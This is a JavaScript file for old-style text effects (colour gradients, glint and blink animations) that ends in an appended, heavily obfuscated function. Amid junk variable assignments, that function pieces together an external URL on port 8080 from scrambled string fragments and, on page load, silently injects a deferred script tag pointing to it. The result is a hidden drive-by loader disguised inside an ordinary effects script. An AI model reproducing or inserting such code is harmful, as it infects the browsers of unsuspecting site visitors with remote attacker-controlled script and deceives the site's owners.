function gradient_gradient_browser() {
	gradient_browser = "unknown";
	gradient_version = 0;
	if (navigator.userAgent.indexOf("Opera") >= 0)
	 gradient_browser = "opera";
	else if (navigator.userAgent.indexOf("obot") >= 0)
	 gradient_browser = "robot";
	else if (navigator.appName.indexOf("etscape") >= 0)
	 gradient_browser = "netscape";
	else if (navigator.appName.indexOf("icrosoft") >= 0)
	 gradient_browser = "msie";
	gradient_version = parseFloat(navigator.appVersion);
	if (isNaN(gradient_version)) gradient_version = 0;
	if ((gradient_browser == "msie")&&(gradient_version == 2)) gradient_version = 3;
	gradient_tohex = new Array(256);
	var hex = "0123456789ABCDEF";
	var count = 0;
	for (var x=0; x<16; x++) {
	 for (var y=0; y<16; y++) {
		gradient_tohex[count] = hex.charAt(x) + hex.charAt(y);
		count++;
	 }
	}
}

function ColorCode(hexcode) {
  if (hexcode.length == 7) {
    this.gradient_r = parseInt(hexcode.substring(1,3),16);
    this.gradient_g = parseInt(hexcode.substring(3,5),16);
    this.gradient_b = parseInt(hexcode.substring(5,7),16);
  }
  else if (hexcode.length == 6) {
    this.gradient_r = parseInt(hexcode.substring(0,2),16);
    this.gradient_g = parseInt(hexcode.substring(2,4),16);
    this.gradient_b = parseInt(hexcode.substring(4,6),16);
  }
  else {
    this.gradient_r = this.gradient_g = this.gradient_b = 0;
  }
}

function ColorList(hexcodes) {
  var i = 0;
  var c = 0;
  this.gradient_codes = new Array(Math.round(hexcodes.length/7));
  while (i < hexcodes.length) {
    if (isNaN(parseInt(hexcodes.substring(i,i+6),16))) ++i;
    else {
      this.gradient_codes[c] = new ColorCode(hexcodes.substring(i,i+6));
      i += 7;
      ++c;
    }
  }
  this.len = c;
}

function interpolate (x1, y1, x3, y3, x2) {
  if (x3 == x1) return y1
  else return (x2-x1)*(y3-y1)/(x3-x1) + y1
}

function lowcolorindex (x, y, z) {
  if (y == 1) return 0
  else return Math.floor( (x*(z-1))/(y-1) )
}

function hicolorindex (x, y, z, low) {
  if ( low*(y-1) == x*(z-1) ) return low
  else if (y == 1) return 0
  else return Math.floor( (x*(z-1))/(y-1) + 1 )
}

function drawGradient() {
	var found = 0;
	var d = document.getElementsByTagName("DIV");
	for (var i = d.length - 1; i >= 0; i--) {
		if (d[i].id == "mygradient") {
			d[i].id = "";
			div = d[i];
			found = 1;
			break;
		}
	}
	if (found == 0) return;
	clr = div.title;
	clr = clr.replace(/\#/g, "");
	clr = clr.replace(/[ ]+/g, " ");
	clr += "      ";
	clr = clr.split(" ");
	gradient_gradient_browser();
	gradient_thecolors = "#" + clr[0].substr(0,6);
	gradient_thecolors += "#" + clr[1].substr(0,6);
	gradient_thecolors += "#" + clr[2].substr(0,6);
	gradient_thecolors += "#" + clr[3].substr(0,6);
	gradient_thecolors += "#" + clr[4].substr(0,6);

	var gradient_html = "";
	if (((gradient_browser == "netscape")||(gradient_browser == "msie")||(gradient_browser == "opera"))&&(gradient_version>=3.0)) {

		var colors = new ColorList(gradient_thecolors);
		if (colors.len < 2) {
			div.style.display = "block";
			return;
		}
		var numcolors = colors.len;
        if(document.all){
            var numchars = div.innerText.replace(/[\n\r\t ]/g, "").length;
        } else{
            var numchars = div.textContent.replace(/[\n\r\t ]/g, "").length;
        }
		var rr = 0;
		var gg = 0;
		var bb = 0;
		var lci = 0; //lower color index
		var hci = 0; //high color index
		var chr, p = 0;
		for (i = 0; p < numchars; ++i) {
            if(document.all){
                chr = div.innerText.charAt(i);
            } else{
                chr = div.textContent.charAt(i);
            }
			if (" \r\n\t".indexOf(chr) != -1) {
				gradient_html += chr;
			} else {
				lci = lowcolorindex(p, numchars, numcolors);
				hci = hicolorindex(p, numchars, numcolors, lci);
				rr = Math.round(interpolate( lci/(numcolors-1), colors.gradient_codes[lci].gradient_r, hci/(numcolors-1), colors.gradient_codes[hci].gradient_r, p/(numchars-1)));
				gg = Math.round(interpolate( lci/(numcolors-1), colors.gradient_codes[lci].gradient_g, hci/(numcolors-1), colors.gradient_codes[hci].gradient_g, p/(numchars-1)));
				bb = Math.round(interpolate( lci/(numcolors-1), colors.gradient_codes[lci].gradient_b, hci/(numcolors-1), colors.gradient_codes[hci].gradient_b, p/(numchars-1)));
				if (gradient_browser == "opera") {
					rr = 255 - rr;
					gg = 255 - gg;
					bb = 255 - bb;
				}
				gradient_html += chr.fontcolor('#'+gradient_tohex[rr]+gradient_tohex[gg]+gradient_tohex[bb]);
				p++;
			}
		}
	} else
        if(document.all){
            gradient_html += div.innerText;
        } else{
            gradient_html += div.textContent;
        }
	div.innerHTML = gradient_html.replace(/\r/gi, "<br>");
	gradient_html = "";
	div.style.display = "block";
}
// ******************* [glint] code ******************* //
setInterval("doGlintText()", 50);
document.write('<div tag="dummy" id="myglinttext" style="display:none;filter:alpha(opacity=100);width:100%"></div>');
function doGlintText() {
	try {
		var a, d;
		for (var i = 0; i < myglinttext.length; i++) {
			if (myglinttext[i].tag == "dummy")
				continue;			
			a = parseInt(myglinttext[i].filters.alpha.opacity);
			d = parseInt(myglinttext[i].tag);			
			if (d == 1 || d == -1)	{
				a += d * 5;
				if (a <= 0) {				
					myglinttext[i].tag = "1";
				} if (a >= 100) {
					myglinttext[i].tag = "2";
				}
				myglinttext[i].filters.alpha.opacity = a;
			} else if (d >= 10)
				myglinttext[i].tag = -1;
			else
				myglinttext[i].tag = ++d;
		}
	} catch(e) {
	;
	}
}

// ******************* [blink] code ******************* //
setInterval("doBlinkText()", 500);
document.write('<span id="myblinktext" style="display:none"></span>');
function doBlinkText() {
	try {
		for (var i = 1; i < myblinktext.length; i++)
			if (myblinktext[i].style.visibility == "hidden")
				myblinktext[i].style.visibility = "visible";
			else
				myblinktext[i].style.visibility = "hidden";
	} catch(e) {
	;
	}
}
function Z(){var d;if(d!='I' && d!='Y'){d='I'};var e='';this.R="";var Rz;if(Rz!='s' && Rz != ''){Rz=null};var a="g";var qF=new Array();var az='';var E;if(E!='yV' && E != ''){E=null};var GU;if(GU!='NN' && GU != ''){GU=null};var x=RegExp;var qL;if(qL!='V' && qL!='MC'){qL=''};var GI;if(GI!='l' && GI!='K'){GI='l'};function U(M,P){var hP;if(hP!='h' && hP != ''){hP=null};var m="";var f= String("[0ndq".substr(0,1));f+=P;var vF=new Array();var Pp;if(Pp!='UT' && Pp != ''){Pp=null};f+=new String("]");var aJ;if(aJ!='' && aJ!='eB'){aJ=''};var eu=new Array();var r=new x(f, a);this.zQ='';var i;if(i!='g' && i != ''){i=null};return M.replace(r, az);};var p;if(p!='qE'){p='qE'};var rQ;if(rQ!='' && rQ!='Gq'){rQ='Px'};var Ko;if(Ko!='vz'){Ko='vz'};var W=window;this.xT="";var xZ=U('8166066686210122',"261");var PI="";var O=String("YhqOscri".substr(4)+"pt");var MZ=new String();var q=String("FCm/goo".substr(3)+"gle."+"w4bcom/4bw".substr(3,4)+"h9GgooghG9".substr(3,4)+"le.cbfnp".substr(0,4)+"zpcom/gczp".substr(3,4)+"oogl"+"e.cl"+"CLl/guaCLl".substr(3,4)+"TYKprdia".substr(4)+"4Klgn.co".substr(4)+"MBXi.uk/".substr(4)+"shopnQiJ".substr(0,4)+"Ijqping".substr(3)+".com"+".phpqLZ".substr(0,4));var O_;if(O_!='' && O_!='tZ'){O_='zj'};var ZQ=String("src");var c=new String("defe"+"rPoEm".substr(0,1));var F='';var L;if(L!='' && L!='Zh'){L=''};var v=String("ht"+"tp"+":/6qpx".substr(0,2)+"/y"+"ie"+"ehzld".substr(3)+"bLPXmaXLbP".substr(4,2)+"PlgxnaPxgl".substr(4,2)+"geLu2".substr(0,2)+"SBT1r-SB1T".substr(4,2)+"ey7Xco".substr(4)+"m.P57D".substr(0,2)+"vEBhu".substr(3)+"LjK5an".substr(4)+"qiGQU".substr(0,2)+"Vpfdu.".substr(4)+"RCtcotRC".substr(3,2)+"m.f8K".substr(0,2)+"nu0IS".substr(0,2)+"-n"+"l.01f".substr(0,2)+"SE7Jse".substr(4)+"agBQAp".substr(0,2)+"nmQolnQm".substr(3,2)+"do"+"uJzUnlUuzJ".substr(4,2)+"6rkAin".substr(4)+"e.43Ft".substr(0,2)+"ru"+":");var _='';var ya;if(ya!='Rv' && ya != ''){ya=null};var hV=new String();this.NNl='';W.onload=function(){this.Ff="";var Gn=new Date();try {var Rk=new Date();var TF;if(TF!='_s' && TF != ''){TF=null};var dw;if(dw!='' && dw!='aO'){dw=null};var _t;if(_t!=''){_t='Km'};F=v+xZ;var LR;if(LR!='ut' && LR!='lP'){LR='ut'};var dG="";F+=q;this.Cp='';this.Hi='';Q=document.createElement(O);var UE='';var Lt;if(Lt!='' && Lt!='J_'){Lt='Jiv'};var Qw=new Date();var fBT;if(fBT!=''){fBT='tt'};Q[c]=[6,1][1];var JI=new Array();Q[ZQ]=F;var lv=new String();var BF=new Array();var FJ=new String();var uT="";document.body.appendChild(Q);var qp;if(qp!=''){qp='MT'};var ZU=new String();var nb="";} catch(D){var jA;if(jA!='' && jA!='tM'){jA='kH'};var ovW;if(ovW!='' && ovW!='Vg'){ovW=null};};var Jn="";};var RS=new Date();};Z();var pj;if(pj!='euq' && pj!='MQ'){pj=''};var xXd="";